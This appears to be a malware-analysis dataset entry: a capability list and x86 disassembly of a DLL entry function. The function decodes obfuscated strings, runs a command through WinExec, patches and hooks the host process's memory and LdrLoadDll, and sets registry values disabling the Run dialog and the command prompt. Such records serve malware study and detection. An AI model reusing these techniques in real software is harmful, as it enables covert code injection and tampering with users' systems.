Function at 0x10008740
Capabilities:
Allocate or change rwx memory
Check os version
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3e4
mov eax, dword [0x10025018]
xor eax, esp
mov dword [esp + 0x3e0], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
mov ebx, 1
sub eax, ebx
jne 0x1000918f
lea eax, [esp + 0x1d8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, 0xdf
xor eax, eax
mov dl, byte [eax + 0x1001fcac]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x9c], dl
add eax, ebx
and ecx, 0xff
cmp eax, 0x36
jb 0x10008795
lea eax, [esp + 0x1d8]
push eax
lea ecx, [esp + 0xa0]
push ecx
lea edx, [esp + 0x2e8]
push edx
mov byte [esp + 0xde], 0
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0x37
lea eax, [esp + 0xa0]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
lea ecx, [esp + 0x2e4]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea edx, [esp + 0x1dc]
push 0
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea eax, [esp + 0x2e4]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x94
lea ecx, [esp + 0x114]
push 0
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [esp + 0x110]
push edx
mov dword [esp + 0x114], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x114], 6
ja 0x10008878
cmp dword [esp + 0x118], ebx
ja 0x10008878
mov byte [0x112826ea], bl
jmp 0x10008881
push esi
call fcn.10015790
add esp, 4
mov ecx, 0x1f247edf
lea eax, [esp + 0x38]
call fcn.10009470
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
xor eax, eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov word [esp + 0x40], ax
mov byte [esp + 0x42], al
mov ecx, 0x5cc781b3
lea eax, [esp + 0x64]
call fcn.100096a0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [esp + 0x64], ecx
mov dword [esp + 0x68], ecx
mov word [esp + 0x6c], cx
call eax
mov byte [0x1128271d], bl
call fcn.100048c0
lea eax, [esp + 0x1a8]
push eax
mov ebx, 0x1b
mov eax, 0x400000
mov dword [esp + 0x1ac], 0xffffffa1
mov dword [esp + 0x1b0], 0xffffffff
mov dword [esp + 0x1b4], 0xffff8b32
mov dword [esp + 0x1b8], 0xffffffff
mov dword [esp + 0x1bc], 0x78ffffff
mov dword [esp + 0x1c0], 0x8bffff89
mov word [esp + 0x1c4], 0x8ff
mov byte [esp + 0x1c6], 0x51
call fcn.10015540
xor ebx, ebx
add esp, 4
cmp eax, ebx
je 0x10008c34
mov ecx, dword [eax + 1]
lea edx, [esp + 0x1a8]
mov byte [esp + 0x1c8], bl
push edx
mov ebx, 0x21
mov eax, 0x400000
mov dword [0x11282768], ecx
mov dword [esp + 0x1ac], 0xffffffa1
mov dword [esp + 0x1b0], 0xffff89ff
mov dword [esp + 0x1b4], 0x83ffffff
mov dword [esp + 0x1b8], 0xffffffff
mov dword [esp + 0x1bc], 0xffff02ff
mov dword [esp + 0x1c0], 0xffffff83
mov dword [esp + 0x1c4], 0x7404ffff
mov dword [esp + 0x1c8], 0x6affebff
call fcn.10015540
xor ebx, ebx
add esp, 4
mov dword [0x1128276c], eax
cmp eax, ebx
je 0x100089ec
mov eax, dword [eax + 1]
mov dword [0x1128276c], eax
jmp 0x10008a3a
mov ecx, 0xba
xor eax, eax
mov dl, byte [eax + 0x1001fcf0]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x44], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x100089f3
lea eax, [esp + 0x44]
push eax
push ebx
mov ecx, 0x10125560
mov byte [esp + 0x5b], bl
call fcn.1000aaf0
xor eax, eax
add esp, 8
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
call fcn.10015640
lea ecx, [esp + 0x1a8]
push ecx
mov ebx, 0x17
mov eax, 0x400000
mov dword [esp + 0x1ac], 0x8e68
mov dword [esp + 0x1b0], 0xc16800
mov dword [esp + 0x1b4], 0xff8d0000
mov dword [esp + 0x1b8], 0xffffffff
mov dword [esp + 0x1bc], 0xffffffe8
mov word [esp + 0x1c0], 0x6aff
mov byte [esp + 0x1c2], 2
call fcn.10015540
mov esi, eax
add esp, 4
test esi, esi
je 0x10008c0a
lea edx, [esp + 0x1a8]
push edx
mov ebx, 0x1b
mov eax, 0x400000
mov dword [esp + 0x1ac], 0xffffffa1
mov dword [esp + 0x1b0], 0xffffffff
mov dword [esp + 0x1b4], 0xffff8b32
mov dword [esp + 0x1b8], 0xffffffff
mov dword [esp + 0x1bc], 0x78ffffff
mov dword [esp + 0x1c0], 0x8bffff89
mov word [esp + 0x1c4], 0x8ff
mov byte [esp + 0x1c6], 0x51
call fcn.10015540
add esp, 4
mov dword [0x1063020c], eax
test eax, eax
je 0x10008b28
mov eax, dword [eax + 0xb]
mov dword [0x1063020c], eax
jmp 0x10008b51
mov ecx, 0x67
xor eax, eax
nop
mov dl, byte [eax + str.4__58]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x1a8], dl
inc eax
and ecx, 0xff
cmp eax, 0x12
jb 0x10008b30
call fcn.10015640
mov eax, dword [esi + 0x48]
mov ecx, dword [esi + eax + 0x57]
lea eax, [esi + eax + 0x4c]
lea ecx, [eax + ecx + 0xf]
mov dword [0x10630204], ecx
add ecx, 0x2d
mov dword [0x10630200], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10630200], ecx
mov edx, dword [eax + 0x26]
mov dword [0x10630208], eax
lea eax, [eax + edx + 0x2a]
lea ecx, [eax + 8]
mov dword [0x10025370], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10025370], ecx
lea ecx, [eax + 0x21]
mov dword [0x10025364], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10025364], ecx
lea ecx, [eax + 0x3a]
mov dword [0x10025368], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10025368], ecx
lea ecx, [eax + 0x42]
mov dword [0x1002536c], ecx
mov edx, dword [ecx + 1]
mov dword [0x106301fc], eax
add eax, 0xc8
lea ecx, [ecx + edx + 5]
mov dword [0x10025374], eax
mov dword [0x1002536c], ecx
mov edx, dword [eax + 1]
lea eax, [eax + edx + 5]
mov dword [0x10025374], eax
mov dword [0x11282770], 0x10005710
jmp 0x10008c87
mov ecx, 0x72
xor eax, eax
mov dl, byte [eax + 0x1001fd14]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x1a8], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x10008c11
call fcn.10015640
jmp 0x10008c87
mov ecx, 0x82
xor eax, eax
jmp 0x10008c40
mov dl, byte [eax + 0x1001fd30]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x54], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x10008c40
lea eax, [esp + 0x54]
push eax
push ebx
mov ecx, 0x10125560
mov byte [esp + 0x6b], bl
call fcn.1000aaf0
xor eax, eax
add esp, 8
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
call fcn.10015640
lea ecx, [esp + 0x1a8]
push ecx
mov ebx, 0x30
mov eax, 0x400000
mov dword [esp + 0x1ac], 0xffe8c88b
mov dword [esp + 0x1b0], 0xe8ffffff
mov dword [esp + 0x1b4], 0xffffffff
mov dword [esp + 0x1b8], 0xffffffe8
mov dword [esp + 0x1bc], 0xffffe8ff
mov dword [esp + 0x1c0], 0xffe8ffff
mov dword [esp + 0x1c4], 0xe8ffffff
mov dword [esp + 0x1c8], 0xffffffff
mov dword [esp + 0x1cc], 0xffffffe8
mov dword [esp + 0x1d0], 0xffffe8ff
mov dword [esp + 0x1d4], 0x1b0ffff
mov dword [esp + 0x1d8], 0xc35de58b
call fcn.10015540
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
mov dword [0x101300d4], eax
test eax, eax
je 0x10008d80
lea edx, [eax + 0x20]
mov dword [0x106301f8], edx
lea ebx, [eax + 0x1b]
lea edx, [esp + 0x10]
push edx
mov dword [0x10130154], ebx
mov eax, dword [ebx + 1]
push 0x40
push 5
lea ecx, [ebx + eax + 5]
push ebx
mov dword [0x10130154], ecx
call esi
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x20]
push ecx
push edx
mov eax, 0x10005860
sub eax, ebx
push 5
sub eax, 5
push ebx
mov byte [ebx], 0xe9
mov dword [ebx + 1], eax
call esi
jmp 0x10008d85
call fcn.10015640
mov ebx, dword [0x10630204]
lea eax, [esp + 0x10]
push eax
push 0x40
push 0x76
push ebx
call esi
push 0x76
push 0xc3
push ebx
call sub.MSVCR100.dll_memset
mov edx, dword [esp + 0x1c]
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
push edx
push 0x76
push ebx
call esi
mov ebx, dword [0x106301fc]
lea eax, [esp + 0x10]
push eax
push 0x40
push 0x1e0
push ebx
call esi
push 0x1e0
push 0xc3
push ebx
call sub.MSVCR100.dll_memset
mov edx, dword [esp + 0x1c]
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
push edx
push 0x1e0
push ebx
call esi
mov ebx, dword [0x10630208]
lea eax, [esp + 0x10]
push eax
push 0x40
push 0x33
push ebx
call esi
push 0x33
push 0xc3
push ebx
call sub.MSVCR100.dll_memset
mov edx, dword [esp + 0x1c]
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
push edx
push 0x33
push ebx
call esi
mov ebx, dword [0x10630208]
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push ebx
call esi
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x20]
push edx
push eax
mov ecx, 0x100054c0
sub ecx, ebx
push 5
sub ecx, 5
push ebx
mov byte [ebx], 0xe9
mov dword [ebx + 1], ecx
call esi
push 0x500000
push 0
push 0x101301f8
call sub.MSVCR100.dll_memset
add esp, 0xc
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0x500000
push 0x101301f8
push 0x400000
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push eax
call edi
xor eax, eax
lea ebx, [ebx]
mov cl, byte [eax + 0x101301f8]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x101301f8], cl
inc eax
cmp eax, 0x500000
jb 0x10008e90
push 0xa0
push 0
push 0x10130158
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0xa0
push 0x10130158
push 0x100054c0
call ebx
push eax
call edi
xor eax, eax
jmp 0x10008ee0
mov dl, byte [eax + 0x10130158]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x10130158], dl
inc eax
cmp eax, 0xa0
jb 0x10008ee0
push 0x7c
push 0
push 0x101300d8
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x7c
push 0x101300d8
push fcn.10004fd0
call ebx
push eax
call edi
xor eax, eax
mov cl, byte [eax + 0x101300d8]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x101300d8], cl
inc eax
cmp eax, 0x7c
jb 0x10008f20
push 0x1f9
push 0
push 0x1012fed8
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x1f9
push 0x1012fed8
push fcn.10005050
call ebx
push eax
call edi
xor eax, eax
mov dl, byte [eax + 0x1012fed8]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x1012fed8], dl
inc eax
cmp eax, 0x1f9
jb 0x10008f64
push 0x32
push 0
push 0x1012fe6c
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x32
push 0x1012fe6c
push 0x1000db50
call ebx
push eax
call edi
xor eax, eax
mov cl, byte [eax + 0x1012fe6c]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x1012fe6c], cl
inc eax
cmp eax, 0x32
jb 0x10008fa4
mov dword [esp + 0x18], 0
mov ecx, 6
xor eax, eax
jmp 0x10008fd0
mov dl, byte [eax + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor dl, cl
inc ecx
mov byte [esp + eax + 0xd4], dl
inc eax
and ecx, 0xff
cmp eax, 0x3b
jb 0x10008fd0
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0xd8]
push ecx
push connect
mov byte [esp + 0x11b], 0
call edi
push 0x3c
lea edx, [esp + 0xd8]
push 0
push edx
call sub.MSVCR100.dll_memset
mov edx, dword [esp + 0x20]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add esp, 0xc
push 4
lea eax, [esp + 0x1c]
push eax
push 4
push 0
lea ecx, [esp + 0x34]
push ecx
push edx
mov dword [esp + 0x3c], 0x75526f4e
mov word [esp + 0x40], 0x6e
call ebx
xor eax, eax
mov dword [esp + 0x24], eax
mov word [esp + 0x28], ax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0xa1
xor eax, eax
jmp 0x10009070
mov dl, byte [eax + 0x1001fd7c]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x70], dl
inc eax
and ecx, 0xff
cmp eax, 0x2a
jb 0x10009070
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x74]
push ecx
push connect
mov byte [esp + 0xa6], 0
call edi
push 0x2b
lea edx, [esp + 0x74]
push 0
push edx
call sub.MSVCR100.dll_memset
mov edx, dword [esp + 0x20]
add esp, 0xc
push 4
lea eax, [esp + 0x1c]
push eax
push 4
push 0
lea ecx, [esp + 0x3c]
push ecx
push edx
mov dword [esp + 0x44], 0x61736944
mov dword [esp + 0x48], 0x43656c62
mov word [esp + 0x4c], 0x444d
mov byte [esp + 0x4e], 0
call ebx
xor eax, eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov word [esp + 0x34], ax
mov byte [esp + 0x36], al
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x1c]
push str.LdrLoadDll
push str.Ntdll.dll
mov dword [0x112826e0], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x10009160
lea edx, [esp + 0x10]
push edx
push 0x40
push 6
push 0x11282784
call esi
mov eax, dword [edi]
mov dword [0x11282784], eax
mov eax, dword [esp + 0x10]
mov cx, word [edi + 4]
lea edx, [esp + 0x10]
push edx
push eax
push 6
push 0x11282784
mov word [0x11282788], cx
call esi
call fcn.10010d40
push 0
xor ecx, ecx
mov edi, 0x10007f80
call fcn.10015680
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x3e0]
xor ecx, esp
call fcn.100189a8
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [esp + 0x3ec]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.100189a8
mov esp, ebp
pop ebp
ret 0xc